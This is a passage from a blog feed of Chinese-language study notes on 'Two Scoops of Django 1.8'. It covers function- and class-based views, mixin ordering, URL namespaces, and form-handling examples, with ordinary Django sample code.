CBVs指南</h3><ul><li>越少代码越好</li><li>杜绝重复的代码</li><li>Views应该处理演示逻辑。如果有必要的话，试着把业务逻辑放在models中或者forms中</li><li>保证views的简洁</li><li>不要用CBVs写自定义的403,404,500错误处理程序。用FBVs代替</li><li>更简洁的 mixins</li></ul><h3 id="10-2-Using-Mixins-With-CBVs"><a href="#10-2-Using-Mixins-With-CBVs" class="headerlink" title="10.2 Using Mixins With CBVs"></a>10.2 Using Mixins With CBVs</h3><p>编程中，mixin是一个类，它提供一些功能来被继承，但并不意味着它能实例化自己。 Mixins能增加类的功能和表现。<br>我们能使用mixins的功能来给我们的apps构建自己的view classes。那么是按照什么顺序继承的呢？ 它遵循python的方法解析顺序(method resolution order)，最简单的定义是，按照下列规则从左到右依次执行：</p><ol><li>django本身提供的base view classes总是在右边</li><li>Mixins在base view的左边</li><li>Mixins应该继承自python的内建object</li></ol><pre><code>from django.views.generic import TemplateViewclass FreshFruitMixin(object): def get_context_data(self, **kwargs): context = super(FreshFruitMixin, self).get_context_data(**kwargs) context["has_fresh_fruit"] = True return contextclass FruityFlavorView(FreshFruitMixin, TemplateView): template_name = "fruity_flavor.html"</code></pre><p>在这个例子中，FruityFlavorView继承自 FreshFruitMixin和 TemplateView，<br>因为 TemplateView是Django提供的base view class，因此它在最右边(规则1)，<br>它左边是 FreshFruitMixin(规则2)。最后 FreshFruitMixin继承自object(规则3)</p><h3 id="10-3-哪种任务用哪个GCBV"><a href="#10-3-哪种任务用哪个GCBV" class="headerlink" title="10.3 哪种任务用哪个GCBV?"></a>10.3 哪种任务用哪个GCBV?</h3><table><thead><tr><th>名称</th><th>用途</th><th>Two Scoops 的例子</th></tr></thead><tbody><tr><td>View</td><td>能使用在任何地方</td><td>看10.6节</td></tr><tr><td>RedirectView</td><td>重定向到其他的URL</td><td>将用户从’/log-in/‘页面带到’/login/‘页面</td></tr><tr><td>TemplateView</td><td>呈现一个HTML模板</td><td>‘/about/‘页面</td></tr><tr><td>ListView</td><td>列出一系列对象</td><td>各种冰淇淋口味的列表</td></tr><tr><td>DetailView</td><td>呈现一个对象</td><td>冰淇淋口味的详情</td></tr><tr><td>FormView</td><td>提交一个表单</td><td>站点的联系或者email表单</td></tr><tr><td>CreateView</td><td>创建一个对象</td><td>创建一个新的冰淇淋口味</td></tr><tr><td>UpdateView</td><td>更新一个对象</td><td>更新一个已存在的冰淇淋口味</td></tr><tr><td>DeleteView</td><td>删除一个对象</td><td>删除一个不好吃的冰淇淋口味，比如说香草牛排味</td></tr><tr><td>Generic date views</td><td>用于一段时间内的对象展示</td><td>创建一个公共的历史记录，它能显示冰淇淋口味是什么时候添加到数据库的</td></tr></tbody></table><h3 id="10-4-CBVs的常规tips"><a href="#10-4-CBVs的常规tips" class="headerlink" title="10.4 CBVs的常规tips"></a>10.4 CBVs的常规tips</h3><p>这一章涵盖了大多数CBV 和GCBV实现的有用的技巧。</p><h4 id="10-4-1-通过身份认证制约用户访问CBV-GCBV"><a href="#10-4-1-通过身份认证制约用户访问CBV-GCBV" class="headerlink" title="10.4.1 通过身份认证制约用户访问CBV/GCBV"></a>10.4.1 通过身份认证制约用户访问CBV/GCBV</h4><p>Django的CBV文档给出了一个有用的例子，使用<code>django.contrib.auth.decorators.login_required</code>装饰器。<br><a href="https://docs.djangoproject.com/en/1.8/topics/class-based-views/intro/#decorating-class-based-views" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/topics/class-based-views/intro/#decorating-class-based-views</a></p><p>幸运的是，django第三方app <a href="https://github.com/brack3t/django-braces" target="_blank" rel="noopener">django-braces</a>提供了一个<code>LogubRequireMixin</code>实现方式。</p><pre><code># flavors/views.pyfrom django.views.generic import DetailViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorclass FlavorDetailView(LoginRequiredMixin, DetailView): model = Flavor</code></pre><p>别忘了Mixin顺序：</p><ul><li>LoginRequiredMixin 一定是在最左边</li><li>Base view class 一定实在最右边</li></ul><p>如果打乱了顺序，将会得到不可预测的结果</p><h4 id="10-4-2-在数据有效的表单上执行自定义操作"><a href="#10-4-2-在数据有效的表单上执行自定义操作" class="headerlink" title="10.4.2 在数据有效的表单上执行自定义操作"></a>10.4.2 在数据有效的表单上执行自定义操作</h4><pre><code>from django.views.generic import CreateViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorclass FlavorCreateView(LoginRequiredMixin, CreateView): model = Flavor fields = ('title', 'slug', 'scoops_remaining') def form_valid(self, form): # Do custom logic here return super(FlavorCreateView, self).form_valid(form)</code></pre><p>为了在已验证有效的表单数据上执行自定义的逻辑，简单的加上<code>form_valid()</code>逻辑就好了。<br><code>form_valid()</code>的返回值应该是个<code>django.http.HttpResponseRedirect</code></p><h4 id="10-4-3-在数据无效的表单上执行自定义操作"><a href="#10-4-3-在数据无效的表单上执行自定义操作" class="headerlink" title="10.4.3 在数据无效的表单上执行自定义操作"></a>10.4.3 在数据无效的表单上执行自定义操作</h4><p>这个方法返回一个<code>django.http.HttpResponse</code></p><pre><code>from django.views.generic import CreateViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorclass FlavorCreateView(LoginRequiredMixin, CreateView): model = Flavor def form_invalid(self, form): # Do custom logic here return super(FlavorCreateView, self).form_invalid(form)</code></pre><h4 id="10-4-4-使用view对象"><a href="#10-4-4-使用view对象" class="headerlink" title="10.4.4 使用view对象"></a>10.4.4 使用view对象</h4><p>如果你正在使用CBVs来渲染内容，考虑下使用view对象它自己来提供访问属性和方法，<br>这样就可以被其他属性和方法调用。它们也可以在模板中被调用，例子：</p><pre><code>from django.utils.functional import cached_propertyfrom django.views.generic import UpdateView, TemplateViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorfrom .tasks import update_users_who_favoritedclass FavoriteMixin(object): @cached_property def likes_and_favorites(self): """Returns a dictionary of likes and favorites""" likes = self.object.likes() favorites = self.object.favorites() return { "likes": likes, "favorites": favorites, "favorites_count": favorites.count(), }class FlavorUpdateView(LoginRequiredMixin, FavoriteMixin, UpdateView): model = Flavor fields = ('title', 'slug', 'scoops_remaining') def form_valid(self, form): update_users_who_favorited( instance=self.object, favorites=self.likes_and_favorites['favorites'] ) return super(FlavorCreateView, self).form_valid(form)class FlavorDetailView(LoginRequiredMixin, FavoriteMixin, TemplateView): model = Flavor</code></pre><p>这个flavors app模板能访问这个属性了：</p><pre><code>{% raw %} {# flavors/base.html #} {% extends "base.html" %} {% block likes_and_favorites %} {% endraw %}<ul> <li>Likes: {% raw %}{{ view.likes_and_favorites.likes }}{% endraw %}</li> <li>Favorites: {% raw %}{{ view.likes_and_favorites.favorites_count }}{% endraw %}</li></ul>{% raw %} {% endblock likes_and_favorites %} {% endraw %}</code></pre><h3 id="10-5-GCBVs和表单是如何兼容的"><a href="#10-5-GCBVs和表单是如何兼容的" class="headerlink" title="10.5 GCBVs和表单是如何兼容的"></a>10.5 GCBVs和表单是如何兼容的</h3><p>首先我们定义一个flavor model用在这一章的view中：</p><pre><code># flavors/models.pyfrom django.core.urlresolvers import reversefrom django.db import modelsSTATUS = ( (0, "zero"), (1, "one"),)class Flavor(models.Model): title = models.CharField(max_length=255) slug = models.SlugField(unique=True) scoops_remaining = models.IntegerField(default=0, choices=STATUS) def get_absolute_url(self): return reverse("flavors:detail", kwargs={"slug": self.slug})</code></pre><p>现在我们来探讨一些普遍的表单场景</p><h4 id="10-5-1-Views-ModelForm的例子"><a href="#10-5-1-Views-ModelForm的例子" class="headerlink" title="10.5.1 Views + ModelForm的例子"></a>10.5.1 Views + ModelForm的例子</h4><p>这是最简单也是最普遍的表单场景。通常当你创建一个model时，你可能想增加一个新的记录或者<br>更新已存在的记录。</p><p>在这个例子中，我们会知道如何构造一系列的views，这些view可以创建、修改、展示flavor记录。<br>我们也会演示如何提供确认变更。下面是我们需要的views:</p><ol><li>FlavorCreateView 对应在一个表单中添加新口味</li><li>FlavorUpdateView 对应在一个表单中编辑口味</li><li>FlavorDetailView 对应用于风味创作和风味更新的确认页面</li></ol><p><img src="view+modelform_flow.png" alt="views+modelform_flow"></p><p>需要注意的是我们要尽可能的紧扣Django的命名约定。这三个view分别是Django中CreateView, UpdateView和DetailView的子类。<br>很容易就能写出这些views，因为Django给我们提供了大部分的用法：</p><pre><code># flavors/views.pyfrom django.views.generic import CreateView, UpdateView, DetailViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorclass FlavorCreateView(LoginRequiredMixin, CreateView): model = Flavor fields = ('title', 'slug', 'scoops_remaining')class FlavorUpdateView(LoginRequiredMixin, UpdateView): model = Flavor fields = ('title', 'slug', 'scoops_remaining')class FlavorDetailView(DetailView): model = Flavor</code></pre><p>但是有个问题，当我们写出这些view的urls.py和必要的模板时，会发现这个问题：</p><ul><li>这个FlavorDetailView 不是一个确认页面</li></ul><p>幸运的是，我们只需要小小的修改一下就好了。</p><p>修改的第一步是使用<code>django.contrib.messages</code>来告知用户只需要增加或者修改这个falvor来访问FlavorDetailView。<br>我们需要重写<code>FlavorCreateView.form_valid()</code>和<code>FlavorUpdateView.form_valid()</code>方法。<br>只需要给这两个views加上<code>FlavorActionMixin</code>就可以了，简直方便得不行。</p><pre><code># flavors/views.pyfrom django.contrib import messagesfrom django.views.generic import CreateView, UpdateView, DetailViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorclass FlavorActionMixin(object): fields = ('title', 'slug', 'scoops_remaining') @property def success_msg(self): return NotImplemented def form_valid(self, form): messages.info(self.request, self.success_msg) return super(FlavorActionMixin, self).form_valid(form)class FlavorCreateView(LoginRequiredMixin, FlavorActionMixin, CreateView): model = Flavor success_msg = "Flavor created!"class FlavorUpdateView(LoginRequiredMixin, FlavorActionMixin, UpdateView): model = Flavor success_msg = "Flavor updated!"class FlavorDetailView(DetailView): model = Flavor</code></pre><p>在本章之前，我们举了一个简单的例子，如何在GCBV中覆写<code>form_valid()</code>。<br>这里，我们通过给多个views创建一个mixin继承的方式来复用<code>form_valid()</code>。</p><p>现在我们使用django的消息框架来给用户展示确认消息。<code>FlavorActionMixin</code>的作用是根据用户动作的执行来排列一个确认消息，</p><p>flavor被添加或修改后，一个消息列表被传递到了<code>FlavorDetailView</code>的上下文。<br>我们给view的模板加上下面的代码，再创建或者修改flavor就能看到这些消息：</p><pre><code>{% raw %} {# templates/flavors/flavor_detail.html #} {% if messages %} {% endraw %} <ul class="messages">{% raw %} {% for message in messages %} {% endraw %} <li id="{% raw %}message_{{ forloop.counter }}{% endraw %}" {% raw %} {% if message.tags %} class="{{ message.tags }}" {% endif %}> {{ message }} {% endraw %} </li>{% raw %} {% endfor %} {% endraw %} </ul>{% raw %} {% endif %} {% endraw %}</code></pre><p>回顾下，这个例子再次演示了如何覆写<code>form_valid</code>方法，合并到mixin中，<br>如何合并多个mixins到一个view，并且给出了非常有用的<code>django.contrib.messages</code>框架的快速介绍</p><h4 id="10-5-2-Views-Form的例子"><a href="#10-5-2-Views-Form的例子" class="headerlink" title="10.5.2 Views + Form的例子"></a>10.5.2 Views + Form的例子</h4><p>对于ModelForm有时候你更想使用Form，搜索表单是一个特别好的使用案例，你可能还会碰上其他的真实场景。</p><p>在这个例子中，我们将会创建一个简单的flavor搜索表单。它不会改变任何flavor数据。<br>只会查询ORM，然后在搜索结果页面把数据展示出来。</p><p>有很多复杂的方法可以实现，但是对于我们这个简单的例子，只需要加上一个view就足够。<br>我们把<code>FlavorListView</code>用作搜索页面和搜索结果页面。</p><p>这种场景下，我们会把<code>q</code>用作查询参数，倾向于使用<code>GET</code>请求，因为我们不涉及到添加，修改，删除对象的操作，因此不必使用<code>POST</code>请求。</p><p>为了返回匹配的搜索结果，我们需要修改标准查询集(queryset)。我们在<code>flavor/view.py</code>中添加下面代码：</p><pre><code>from django.views.generic import ListViewfrom .models import Flavorclass FlavorListView(ListView): model = Flavor def get_queryset(self): # Fetch the queryset from the parent get_queryset queryset = super(FlavorListView, self).get_queryset() # Get the q GET parameter q = self.request.GET.get("q") if q: # Return a filtered queryset return queryset.filter(title__icontains=q) # Return the base queryset return queryset</code></pre><p>搜索表单应该看起来和下面差不多：</p><pre><code>{% raw %} {# templates/flavors/_flavor_search.html #} {% comment %} Usage: {% include "flavors/_flavor_search.html" %} {% endcomment %} {% endraw %}<form action="{% raw %}{% url "flavor_list" %}{% endraw %}" method="GET"> <input type="text" name="q" /> <button type="submit">search</button></form></code></pre><h3 id="10-6-只使用django-views-generic-View"><a href="#10-6-只使用django-views-generic-View" class="headerlink" title="10.6 只使用django.views.generic.View"></a>10.6 只使用django.views.generic.View</h3><p>只在项目中使用<code>django.views.generic.View</code>也是完全可能的。它没有我们想象得那么极端。</p><p>如果用FBVs来写的话，需要多个if嵌套HTTP方法，<code>if request.method == ...</code>。<br>但是按照下面的方式来写的话，开发者理解起来毫无困难：</p><pre><code>from django.shortcuts import get_object_or_404from django.shortcuts import render, redirectfrom django.views.generic import Viewfrom braces.views import LoginRequiredMixinfrom .forms import FlavorFormfrom .models import Flavorclass FlavorView(LoginRequiredMixin, View): def get(self, request, *args, **kwargs): # Handles display of the Flavor object flavor = get_object_or_404(Flavor, slug=kwargs['slug']) return render(request, "flavors/flavor_detail.html", {"flavor": flavor} ) def post(self, request, *args, **kwargs): # Handles updates of the Flavor object flavor = get_object_or_404(Flavor, slug=kwargs['slug']) form = FlavorForm(request.POST) if form.is_valid(): form.save() return redirect("flavors:detail", flavor.slug)</code></pre><p>我们发现在项目中使用<code>django.views.generic.View</code>类，用GET方法来展现JSON,PDF或者其他非HTML内容是非常有用的。<br>我们用来在FBVs中渲染CSV, Excel, PDF文件的技巧在CBVs中也可以实现。</p><pre><code>from django.http import HttpResponsefrom django.shortcuts import get_object_or_404from django.views.generic import Viewfrom braces.views import LoginRequiredMixinfrom .models import Flavorfrom .reports import make_flavor_pdfclass PDFFlavorView(LoginRequiredMixin, View): def get(self, request, *args, **kwargs): # Get the flavor flavor = get_object_or_404(Flavor, slug=kwargs['slug']) # create the response response = HttpResponse(content_type='application/pdf') # generate the PDF stream and attach to the response response = make_flavor_pdf(response, flavor) return response</code></pre><p>这个例子相当直接，但是如果我们需要更多的mixins，处理更多的自定义逻辑的话，相比其他厚重的views，<code>django.views.generic</code>的简洁性能帮助我们更容易的处理。</p><h3 id="10-7-更多资源"><a href="#10-7-更多资源" class="headerlink" title="10.7 更多资源"></a>10.7 更多资源</h3><ul><li><a href="https://docs.djangoproject.com/en/1.8/topics/class-based-views/" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/topics/class-based-views/</a></li><li><a href="https://docs.djangoproject.com/en/1.8/topics/class-based-views/generic-display/" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/topics/class-based-views/generic-display/</a></li><li><a href="https://docs.djangoproject.com/en/1.8/topics/class-based-views/generic-editing/" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/topics/class-based-views/generic-editing/</a></li><li><a href="https://docs.djangoproject.com/en/1.8/topics/class-based-views/mixins/" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/topics/class-based-views/mixins/</a></li><li><a href="https://docs.djangoproject.com/en/1.8/ref/class-based-views/" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/ref/class-based-views/</a></li><li><a href="http://ccbv.co.uk/" target="_blank" rel="noopener">http://ccbv.co.uk/</a></li><li><a href="http://www.pydanny.com/tag/class-based-views.html" target="_blank" rel="noopener">http://www.pydanny.com/tag/class-based-views.html</a></li></ul><p>其他有用的CBV库</p><ul><li>django-extra-views</li><li>django-vanilla-views</li></ul>]]></content>
<summary type="html">
<h2 id="9-FBVs最佳实践"><a href="#9-FBVs最佳实践" class="headerlink" title="9. FBVs最佳实践"></a>9. FBVs最佳实践</h2><h3 id="9-1-FBVs的优势"><a href="#9-1-FBVs的优势" class="headerlink" title="9.1 FBVs的优势"></a>9.1 FBVs的优势</h3><p>虽然FBVs不能像CBVs一样有继承。但它确实有更显著的功能优势<br>写FBVs的时候我们遵循以下指南：</p>
<ul>
<li>越少代码越好</li>
<li>杜绝重复的代码</li>
<li>Views应该处理演示逻辑。如果有必要的话，试着把业务逻辑放在models中或者forms中</li>
<li>保证views的简洁</li>
<li>用他们写自定义的403，404，500错误处理</li>
<li>使用复杂的嵌套-如果要避免阻塞的话</li>
</ul>
<h3 id="9-2-传递HttpRequest对象"><a href="#9-2-传递HttpRequest对象" class="headerlink" title="9.2 传递HttpRequest对象"></a>9.2 传递HttpRequest对象</h3><p>有些时候我们想在views中重用代码，但是并没有想中间件和上下文处理器一样把它和全局功能联系起来。<br>在这本书的开头，我们建议创建跨项目的功能函数。<br>对于多数功能函数而言，我们从<code>django.http.HttpRequest</code>对象中拿到一个或多个属性，来收集数据或者执行操作。<br>通过把request对象作为首要参数，我们能在更多的方法上拥有更简单的参数。这意味着我们只需要传一个HttpRequest对象就可以了<br>
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="Django" scheme="https://morningchen.com/categories/Backend/Django/"/>
<category term="Django" scheme="https://morningchen.com/tags/Django/"/>
</entry>
<entry>
<title>Two Scoops of Django 1.8 学习笔记四</title>
<link href="https://morningchen.com/2015/09/12/Two-Scoops-of-Django-1-8-notes-4/"/>
<id>https://morningchen.com/2015/09/12/Two-Scoops-of-Django-1-8-notes-4/</id>
<published>2015-09-12T12:26:26.000Z</published>
<updated>2018-09-27T14:11:28.000Z</updated>
<content type="html"><![CDATA[<h2 id="8-Function-and-Class-Based-Views"><a href="#8-Function-and-Class-Based-Views" class="headerlink" title="8. Function- and Class-Based Views"></a>8. Function- and Class-Based Views</h2><ul><li>Function-based views(FBVs) 函数视图</li><li>Class-based views(CBVs) 类视图</li></ul><h3 id="8-1-什么时候使用FBVs或者CBVs"><a href="#8-1-什么时候使用FBVs或者CBVs" class="headerlink" title="8.1 什么时候使用FBVs或者CBVs"></a>8.1 什么时候使用FBVs或者CBVs</h3><p>每当你想实现一个view的时候，考虑下用哪种方法比较好，下面是各种情况下该使用FBVs还是CBVs流程图<br><img src="FBVs_CBVs.png" alt="FBVs_CBVs"><br>我们更倾向于在大多数情况下使用CBVs来实现</p><a id="more"></a><h3 id="8-2-将View的逻辑放在URLConfs之外"><a href="#8-2-将View的逻辑放在URLConfs之外" class="headerlink" title="8.2 将View的逻辑放在URLConfs之外"></a>8.2 将View的逻辑放在URLConfs之外</h3><p>requests通过URLConfs被路由到views上，在一个模块中通常用urls.py表示。</p><p>URL设计哲学 <a href="https://docs.djangoproject.com/en/1.8/misc/design-philosophies/#url-design" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/misc/design-philosophies/#url-design</a></p><p>要点很明确：</p><ul><li>view模块应该包含view的逻辑</li><li>URL模块应该包含URL的逻辑</li></ul><p>下面的代码，你可能在官方文档里见过：</p><pre><code>Bad Examplefrom django.conf.urls import urlfrom django.views.generic import DetailViewfrom tastings.models import Tastingurlpatterns = [ url(r"^(?P<pk>\d+)/$", DetailView.as_view( model=Tasting, template_name="tastings/detail.html"), name="detail"), url(r"^(?P<pk>\d+)/results/$", DetailView.as_view( model=Tasting, template_name="tastings/results.html"), name="results"),]</code></pre><p>瞟一眼代码可能感觉是对的，但是它违反了Django的设计哲学：</p><ul><li>它用tight coupling(紧耦合)取代了Loose coupling(松耦合),意味着不能重用这个view</li><li>违反了DRY原则，在CBVs之间使用了同一个或者相似的参数</li><li>破坏了可扩展性，CBVs的优势是类的继承，可他在用<a href="https://zh.wikipedia.org/wiki/%E5%8F%8D%E9%9D%A2%E6%A8%A1%E5%BC%8F" target="_blank" rel="noopener">反面模式</a></li><li>太多其他问题：当你加上身份认证的时候会发生什么？授权怎么办？你准备用两个或者更多的装饰器封装每个URLConfs视图吗？<br>把你的view代码放在URLConfs中导致你的URLConfs混乱不利于维护</li></ul><h3 id="8-3-坚持松耦合的URLConfs"><a href="#8-3-坚持松耦合的URLConfs" class="headerlink" title="8.3 坚持松耦合的URLConfs"></a>8.3 坚持松耦合的URLConfs</h3><p>为了避免上面提到过的问题，我们这样创建URLConfs，先写个views</p><pre><code># tastings/views.pyfrom django.views.generic import ListView, DetailView, UpdateViewfrom django.core.urlresolvers import reversefrom .models import Tastingclass TasteListView(ListView): model = Tastingclass TasteDetailView(DetailView): model = Tastingclass TasteResultsView(TasteDetailView): template_name = "tastings/results.html"class TasteUpdateView(UpdateView): model = Tasting def get_success_url(self): return reverse("tastings:detail", kwargs={"pk": self.object.pk})</code></pre><p>再写个urls</p><pre><code># tastings/urls.pyfrom django.conf.urls import urlfrom . import viewsurlpatterns = [ url( regex=r"^$", view=views.TasteListView.as_view(), name="list" ), url( regex=r"^(?P<pk>\d+)/$", view=views.TasteDetailView.as_view(), name="detail" ), url( regex=r"^(?P<pk>\d+)/results/$", view=views.TasteResultsView.as_view(), name="results" ), url( regex=r"^(?P<pk>\d+)/update/$", view=views.TasteUpdateView.as_view(), name="update" )]</code></pre><p>为什么要这样写呢：</p><ul><li>DRY原则：没有参数和属性的重复</li><li>松耦合：我们从URLConfs中移除了model和template name，因为URLConfs就是URLConfs，view就是view。<br>我们应该尽可能的从一个或者更多的URLConfs调用views，这个例子就做到了</li><li>URLConfs should do one thing and do it well：这个例子中我们的URLConfs只专注于roating</li><li>views 能从Class-based中受益：views可以继承自其他的类，这样，加个身份认证，授权，新的评论格式或者其他的业务需求就变得更容易了</li><li>无限的扩展性：在views中，我们能实现自定义逻辑</li></ul><h3 id="8-4-使用URL-命名空间"><a href="#8-4-使用URL-命名空间" class="headerlink" title="8.4 使用URL 命名空间"></a>8.4 使用URL 命名空间</h3><p>URL 命名空间给app-level提供了一个标识符，命名空间在表面上看起来没什么软用，但是一旦开发者开始用的时候就会抱怨为什么不早点使用。<br>我们总结了使用命名空间的规则：</p><ul><li>我们像这样写 tastings:detail (冒号后面不要写空格！不要写空格！不要写空格！)</li></ul><p>在root URLConfs上们加上：</p><pre><code># urls.py at root of projecturlpatterns += [ url(r'^tastings/', include('tastings.urls', namespace='tastings')),]</code></pre><p>再看下view的代码片段：</p><pre><code># tastings/views.py snippetclass TasteUpdateView(UpdateView): model = Tasting def get_success_url(self): return reverse("tastings:detail", kwargs={"pk": self.object.pk})</code></pre><p>在HTML这样使用：</p><pre><code>{% raw %} {% extends "base.html" %} {% block title %}Tastings{% endblock title %} {% block content %} {% endraw %}<ul>{% raw %} {% for taste in tastings %} {% endraw %} <li> <a href="{% raw %}{% url "tastings:detail" taste.pk %}">{{ taste.title }}{% endraw %}</a> <small> <a {% raw %}href="{% url "tastings:update" taste.pk %}">update{% endraw %}</a> </small> </li>{% raw %} {% endfor %} {% endraw %}</ul>{% raw %} {% endblock content %} {% endraw %}</code></pre><h4 id="8-4-1创建更短，更显而易见，DRY的URL名"><a href="#8-4-1创建更短，更显而易见，DRY的URL名" class="headerlink" title="8.4.1创建更短，更显而易见，DRY的URL名"></a>8.4.1创建更短，更显而易见，DRY的URL名</h4><h4 id="8-4-2通过第三方库增加互通性"><a href="#8-4-2通过第三方库增加互通性" class="headerlink" title="8.4.2通过第三方库增加互通性"></a>8.4.2通过第三方库增加互通性</h4><p>如果已经存在一个contact的app，但是我们还要加一个，我们可以这样：</p><pre><code># urls.py at root of projecturlpatterns += [ url(r'^contact/', include('contactmonger.urls', namespace='contactmonger')), url(r'^report-problem/', include('contactapp.urls', namespace='contactapp')),]</code></pre><p>在templates让它生效</p><pre><code>{% raw %} {% extends "base.html" %} {% block title %}Contact{% endblock title %} {% block content %} {% endraw %} <p> <a href="{% raw %}{% url "contactmonger:create" %}{% endraw %}">Contact Us</a> </p> <p> <a href="{% raw %}{% url "contactapp:report" %}{% endraw %}">Report a Problem</a> </p>{% raw %} {% endblock content %} {% endraw %}</code></pre><h3 id="8-5-在URLConfs中引用views的时候不要用字符串"><a href="#8-5-在URLConfs中引用views的时候不要用字符串" class="headerlink" title="8.5 在URLConfs中引用views的时候不要用字符串"></a>8.5 在URLConfs中引用views的时候不要用字符串</h3><p>在Django1.8之前的官方文档中，在URLConfs引用views的时候，会把views作为字符串：</p><pre><code>BAD Example# DON'T DO THIS!# polls/urls.pyfrom django.conf.urls import patterns, urlurlpatterns = patterns('', # Defining the view as a string url(r'^$', 'polls.views.index', name='index'),)</code></pre><p>这种方法有两个问题：</p><ul><li>Django 神奇的添加了view函数/类，这个魔法特性的问题是当view有个错误时，增加了调试的困难性</li><li>这个方法需要把空字符串作为patterns的前缀，太麻烦</li></ul><p>来看看patterns的源码：</p><pre><code>def patterns(prefix, *args): warnings.warn( 'django.conf.urls.patterns() is deprecated and will be removed in ' 'Django 1.10. Update your urlpatterns to be a list of ' 'django.conf.urls.url() instances instead.', RemovedInDjango110Warning, stacklevel=2 ) pattern_list = [] for t in args: if isinstance(t, (list, tuple)): t = url(prefix=prefix, *t) elif isinstance(t, RegexURLPattern): t.add_prefix(prefix) pattern_list.append(t) return pattern_list</code></pre><p>它自己都说了在1.10版本之后就会移除，可官方文档还在这样写，sibusisha….</p><p>以下是定义views的正确方法：</p><pre><code># polls/urls.pyfrom django.conf.urls import urlfrom . import viewsurlpatterns = [ # Defining the views explicitly url(r'^$', views.index, name='index'),]</code></pre><p>参考: <a href="https://docs.djangoproject.com/en/1.8/releases/1.8/#django-conf-urls-patterns" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/releases/1.8/#django-conf-urls-patterns</a></p><h3 id="8-6-将业务逻辑放在views之外"><a href="#8-6-将业务逻辑放在views之外" class="headerlink" title="8.6 将业务逻辑放在views之外"></a>8.6 将业务逻辑放在views之外</h3><p>过去，我们会把复杂的业务逻辑放在views里面，不幸的是，当需要在我们的views中生成PDF，加一个 REST API，或者要服务于其他版式时，它实现起来会变得很困难。<br>这就是我们更倾向使用model methods, manager methods, 或者常规实用的辅助功能的原因。当把业务逻辑放在更容易复用的组件中，再从views内调用，<br>通过扩展组件可以让项目更容易做更多的事情。</p><h3 id="8-7-Django-Views-Are-Functions"><a href="#8-7-Django-Views-Are-Functions" class="headerlink" title="8.7 Django Views Are Functions"></a>8.7 Django Views Are Functions</h3><pre><code># Django FBV as a functionHttpResponse = view(HttpRequest)# Deciphered into basic math (remember functions from algebra?)y = f(x)# ... and then translated into a CBV exampleHttpResponse = View.as_view()(HttpRequest)</code></pre><p>这个函数将一个HTTP 请求对象转换成了HTTP 响应对象。你可以理解成数学中的函数。<br>CBV通过as_view()也可以作为函数使用。</p><h4 id="最简单的views"><a href="#最简单的views" class="headerlink" title="最简单的views"></a>最简单的views</h4><pre><code># simplest_views.pyfrom django.http import HttpResponsefrom django.views.generic import View# The simplest FBVdef simplest_view(request): # Business logic goes here return HttpResponse("FBV")# The simplest CBVclass SimplestView(View): def get(self, request, *args, **kwargs): # Business logic goes here return HttpResponse("CBV")</code></pre><p>为什么需要了解？</p><ul><li>有时我们需要一次性的views来做一件小事</li><li>理解了最简单的views意味着我们能更好的理解这样做的目的</li><li>说明 FBVs不用指定HTTP方法(GET,POST,DELETE等等)，而CBVs需要指定特定的HTTP方法</li></ul><h3 id="8-8-不要使用locals-作为Views-Context"><a href="#8-8-不要使用locals-作为Views-Context" class="headerlink" title="8.8 不要使用locals()作为Views Context"></a>8.8 不要使用locals()作为Views Context</h3><p>从任何调用中返回 locals() 是 anti-pattern(反面模式)。虽然它看上去方便快捷，事实上它太特么耗时了。<br>我们来举一个anti-pattern的例子：</p><pre><code>BAD Exampledef ice_cream_store_display(request, store_id): store = get_object_or_404(Store, id=store_id) date = timezone.now() return render(request, 'melted_ice_cream_report.html', locals())</code></pre><p>表面看起来一切OK，然而，因为我们把一个本应该显式的设计，捣鼓成了隐式的anti-pattern，让这个简单的view有了维护的烦恼。<br>特别强调的是我们根本不知道它会返回什么结果。我们改变任一个变量，返回结果都不会立刻呈现。<br>这就是为什么我们强烈的提倡在views中使用明确的上下文：</p><pre><code>def ice_cream_store_display(request, store_id): return render(request, 'melted_ice_cream_report.html', dict{ 'store': get_object_or_404(Store, id=store_id), 'now': timezone.now() })</code></pre>]]></content>
<summary type="html">
<h2 id="8-Function-and-Class-Based-Views"><a href="#8-Function-and-Class-Based-Views" class="headerlink" title="8. Function- and Class-Based Views"></a>8. Function- and Class-Based Views</h2><ul>
<li>Function-based views(FBVs) 函数视图</li>
<li>Class-based views(CBVs) 类视图</li>
</ul>
<h3 id="8-1-什么时候使用FBVs或者CBVs"><a href="#8-1-什么时候使用FBVs或者CBVs" class="headerlink" title="8.1 什么时候使用FBVs或者CBVs"></a>8.1 什么时候使用FBVs或者CBVs</h3><p>每当你想实现一个view的时候，考虑下用哪种方法比较好，下面是各种情况下该使用FBVs还是CBVs流程图<br><img src="FBVs_CBVs.png" alt="FBVs_CBVs"><br>我们更倾向于在大多数情况下使用CBVs来实现</p>
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="Django" scheme="https://morningchen.com/categories/Backend/Django/"/>
<category term="Django" scheme="https://morningchen.com/tags/Django/"/>
</entry>
</feed>